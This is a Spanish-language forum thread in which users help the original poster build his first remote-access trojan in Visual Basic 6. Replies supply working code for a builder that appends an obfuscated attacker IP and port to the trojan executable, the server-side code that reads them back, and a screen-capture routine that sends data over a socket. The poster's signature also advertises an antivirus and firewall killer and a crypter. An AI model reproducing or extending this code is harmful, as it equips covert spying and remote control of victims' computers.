Mi primer troyano en VB6.0

Iniciado por nhaalclkiemr, 1 Julio 2007, 20:07 PM

0 Miembros y 1 Visitante están viendo este tema.

wACtOr

yo lo que ago para el editserver es cargar el server en el cliente como recurso. luego lo extraigo, le meto la ip, puerto y luego unos valores, Verdadero falso. luego el server lee esos valores y aplica lo que sea.

yovaninu

#31
haber si mirando mi viejo editor de server te ayuda en algo

diseñas un form parecido a esto:


Código (vb) [Seleccionar]

Dim finta As Boolean
Dim i1 As Integer
Dim Primera, Segunda As String
Dim MICAdena As String
Private Sub Command1_Click()
Me.MousePointer = 11
hacerlo
Me.MousePointer = 0
End Sub

Private Sub Command2_Click() 'solo para el test!
On Error Resume Next
If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then
    MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..."
Else
    Command1.Enabled = True
End If
End Sub





Private Sub Command3_Click()
CD.Filter = "Server (*.exe)|*.exe"
CD.ShowOpen
Text8 = CD.FileName
End Sub




Sub hacerlo()
Dim puerto, host, IdServer As String
Dim lp, lh, lt, li As Integer
Dim DataToAdd As String
Dim DataEncrypted As String

    puerto = Text1.Text
    host = Text2.Text
    IdServer = Text7.Text
   
   
    lp = Len(puerto)
    lh = Len(host)
    li = Len(IdServer)
    lt = lp + lh + li
    'MsgBox (App.Path)
    DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/"
    DataEncrypted = EncodeW(DataToAdd)
   
    'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
    Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria.
   
       Seek (1), LOF(1) + 1 'nos vamos al final del archivo
       Put #1, , DataEncrypted & Trim(Str(lt))
    Close #1
    MsgBox ("El servidor ha sido generado corréctamente (Encrypted)")
    End

End Sub

'modulo para ocultar un poco los datos añadidos al final del servidor
Function EncodeW(TextToE As String) As String
Dim i As Integer
Dim cad As String * 1
Dim Texto(200) As String
Dim Encrip(200) As String
Dim TextReturn As String
For i = 1 To Len(TextToE)
   cad = Right(TextToE, i)
   Texto(i) = Left(cad, 1)
Next

For i = Len(TextToE) To 1 Step -1
  Encrip(i) = Chr(Asc(Texto(i)) + 1)
  TextReturn = TextReturn & Encrip(i)
Next
EncodeW = TextReturn
End Function


con eso agregas esos datos al final del server, y en el codigo del server tendrias que poner algo asi, (en el form load del server)


Código (vb) [Seleccionar]


ArrayCritico() As String 'esto en general

On Error GoTo error:
Dim DataRealD As String
Dim nd, nd1 As String

nd = Right(filedata, 2)

nd1 = Right(filedata, Val(nd) + 5)

MsgBox (nd)
MsgBox (nd1)


DataRealD = DecodeW(nd1) 'traducimos


MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe

Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)
error:
End Sub


en donde se ve que hay una funcioncilla "decodew" que va asi:
Código (vb) [Seleccionar]

Function DecodeW(TextToD As String) As String
Dim TextDReturn As String
Dim i As Integer

Dim cad As String * 1
Dim TextoEncriptado(200) As String
For i = 1 To Len(TextToD)
   cad = Right(TextToD, i)
   TextoEncriptado(i) = Left(cad, 1)
Next

For i = Len(TextToD) To 1 Step -1
  TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1)
Next
DecodeW = TextDReturn
End Function


ojala me hayas entendido  ;D

Oops! me falto decirte que para probarlo tienes que tener el exe de tu servidor, si lo pruebas desde basic no funciona.

Un saludo

nhaalclkiemr

La idea si no me ekivoko es esta: Poner al final del server los datos de la IP, el puerto, etc... (si van cifrados mejor), después el server lo k hace es leer estos valores que estan al final y guardarlos en variables y ya estaría no??? Corrijanme si me ekivoko...lo k no entiendo es como el server lee despues eses valores, pues en el código que has puesto en el server no hay ninguna instruccion "Open" que se abra a si mismo, debe ser que estoy yo confundido, no entiendo de donde sacas la variable "filedata" ni donde estableces los valores de "ArrayCritico"

Gracias de todos modos, si es como yo pienso ya voy teniendo una idea algo más clara...

Saludos y gracias ;)

P.D.: Wactor, aún no tuve tiempo de mirar el tuyo, lo siento...
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

yovaninu

que distraido tienes razon:
éste código va al principio dentro del form load
Código (vb) [Seleccionar]

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2 
  filedata = Input(LOF(2), #2)
Close #2




en conclusion el load del form del server para esta parte de tu troyano debe quedat asi:
Código (vb) [Seleccionar]

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2 
filedata = Input(LOF(2), #2)
Close #2

Dim DataRealD As String
Dim nd, nd1 As String

nd = Right(filedata, 2)

nd1 = Right(filedata, Val(nd) + 5)


DataRealD = DecodeW(nd1)
ArrayCritico = Split(DataRealD, "/")

'esto es sólo para verlo
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe

Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)



nhaalclkiemr

Ya me parecía, gracias, ya me quedó bastante clara la idea del edit-server.

Weno, si teneis información sobre cosas que pueda añadir a mi troyano o asi decidmelo...toda ayuda será bienvenida. SAludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

nhaalclkiemr

WACTOR, tu me pusiste este code:

Código (vb) [Seleccionar]
Case "Screen"
Resolucion = vData(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")


Pero mi clase (cJPEG.cls) no tiene el método "SampleScreen", pero tiene uno llamado "SampleHDC":

Código (vb) [Seleccionar]
Public Function SampleHDC(ByVal lHDC As Long, ByVal lWidth As Long, ByVal lHeight As Long, [ByVal lSrcLeft As Long = 0], [ByVal lSrcTop As Long = 0]) As Long

Esa es la funcion con los parametros k tengo k pasar, lHeight y lWidth se refieren al tamaño de la imagen, los opcionales no hacen falta, lo uniko k se para k sirve es lHDC...es necesario, si no se define despues el método "SavePicture" fallará...


Weno, lo k me gustaría k me explicarais una cosa referente a cJPEG, estas son sus propiedades:

X.Comment --> Sirve para poner un comentario
X.Quality --> La calidad de la imagen del 1 al 100

y estos sus métodos:

X.SetSamplingFrequencies --> Sirve tambien para determinar la calidad (comprension)
X.SampleHDC --> No se para k sirve, pero solo se le pasan números
X.SaveFile --> Sirve para guardar el archivo en JPEG, solo se le pasa la ruta donde se guardará el archivo


Mi pregunta es donde defino el archivo k quiero convertir??? En las propiedades está claro k no, en "Set SamplinFrecuencies" solo se le pasan 4 numeron k definen la calidad, en "SampleHDC" solo se le pasan 3 numeros, dos de ellos representan el tamaño y el otro es uno k no se para k sirve, pero es un Long, no puede contener el archivo...
En "SaveFile" solo se pasa la ruta donde se guardará el archivo...pero como se pasa el archivo que se guardará? como save la clase cual es el archivo k tiene k comprimir a JPEG???

Weno, a ver si alguien me puede ayudar

Saludos ;)

P.D.: Aki la clase k yo utilizo http://www.megaupload.com/es/?d=AJWKTIUY

Trae un ejemplo de komo se utiliza, de aí fue de donde saké las conclusiones k puse antes, pero no supe saber como funcionaba...En el ejemplo funciona perfectamente.
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

wACtOr

#36
weno pos si esperas un momento te usbo el modulo de clase que tengo yo, por que no tengo ni idea de porque hay dos modulos cjpg distintos.

http://www.megaupload.com/es/?d=X7PSVCSJ

mira  aver si con este te funciona

nhaalclkiemr

Voy a provarlo ahora, ya te diré y gracias...pero aún asi sigo sin entender pork el otro no funciona...  :-\ :-\

Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

nhaalclkiemr

Donde pone la version y fecha es exactamente la misma, debió de cojer alguna persona una y modificarla...por ejemplo en la mia hay una propiedad que permite establecer un comentario a la imagen, pero no puedo hacer capturas de pantalla pork no tiene la funcion "SampleScreen"...

Voy a usar la tuya ya k para lo k yo quiero es mejor...

Aún así me sigue kedando una duda...como hago para convertir a JPEG un archivo existente?

Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

nhaalclkiemr

#39
Weno, me funciona bastante bien tu cJPEG...lo malo es k tarda bastante en hacer una captura de pantalla...pero eso es solo en modo prueva, una vez compilado lo hace rápido...

Por cierto, la funcion "SetSamplingFrecuencies" se k sirve para ajustar la calidad...pero como exactamente?

Y habría na manera de poner definir los BITS y la resolucion de la imagen

Por ejemplo en vez de 24bits cojer capturas a 16 o 8 bits...tambien me gustaría poner definir la resolucion de las capturas, se puede??

Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%